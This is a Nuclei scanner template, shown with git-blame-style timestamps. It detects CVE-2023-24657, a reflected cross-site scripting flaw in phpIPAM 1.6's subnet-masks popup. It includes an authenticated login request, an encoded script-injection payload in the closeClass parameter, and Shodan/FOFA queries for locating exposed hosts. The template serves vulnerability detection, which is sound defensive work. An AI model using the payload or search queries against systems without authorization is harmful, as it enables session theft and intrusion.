2023-03-31 11:28:24 +00:00
id : CVE-2023-24657
info :
2023-04-14 16:18:46 +00:00
name : phpIPAM - 1.6 - Cross-Site Scripting
2023-03-31 11:28:24 +00:00
author : r3Y3r53
severity : medium
description : |
2023-04-14 16:18:46 +00:00
phpIPAM 1.6 contains a cross-site scripting vulnerability via the closeClass parameter at /subnet-masks/popup.php. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
2023-09-06 11:43:37 +00:00
remediation : |
Upgrade to a patched version of phpIPAM or apply the necessary security patches provided by the vendor.
2023-03-31 11:28:24 +00:00
reference :
- https://github.com/phpipam/phpipam/issues/3738
- https://nvd.nist.gov/vuln/detail/CVE-2023-24657
2023-03-31 16:11:22 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
cve-id : CVE-2023-24657
cwe-id : CWE-79
2024-05-31 19:23:20 +00:00
epss-score : 0.01878
epss-percentile : 0.88418
2023-09-06 11:43:37 +00:00
cpe : cpe:2.3:a:phpipam:phpipam:1.6:*:*:*:*:*:*:*
2023-03-31 11:28:24 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 11:43:37 +00:00
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : phpipam
product : phpipam
2024-06-07 10:04:29 +00:00
shodan-query :
- html:"phpIPAM IP address management"
- http.html:"phpipam ip address management"
2024-05-31 19:23:20 +00:00
fofa-query : body="phpipam ip address management"
2024-01-14 09:21:50 +00:00
tags : cve2023,cve,xss,phpipam,authenticated
2023-03-31 11:28:24 +00:00
2023-04-27 04:28:59 +00:00
http :
2023-03-31 11:28:24 +00:00
- raw :
- |
POST /app/login/login_check.php HTTP/2
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
ipamusername={{username}}&ipampassword={{password}}
- |
GET /app/tools/subnet-masks/popup.php?closeClass=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/2
Host : {{Hostname}}
matchers :
- type : dsl
dsl :
- 'status_code_2 == 200'
- 'contains(body_2, "<script>alert(document.domain)</script>") && contains(body_2, "Subnet masks")'
condition : and
2024-06-08 16:02:17 +00:00
# digest: 490a0046304402200a3c01aa2ee205f3fe61422324c53106c84b5751e93918bae15c9ba468b0e4a502202271388d4cb8abc60a17e9fc602aaf32c1be6f8f4ef9f40fc23a171b2121345c:922c64590222798bb761d5b6d8e72950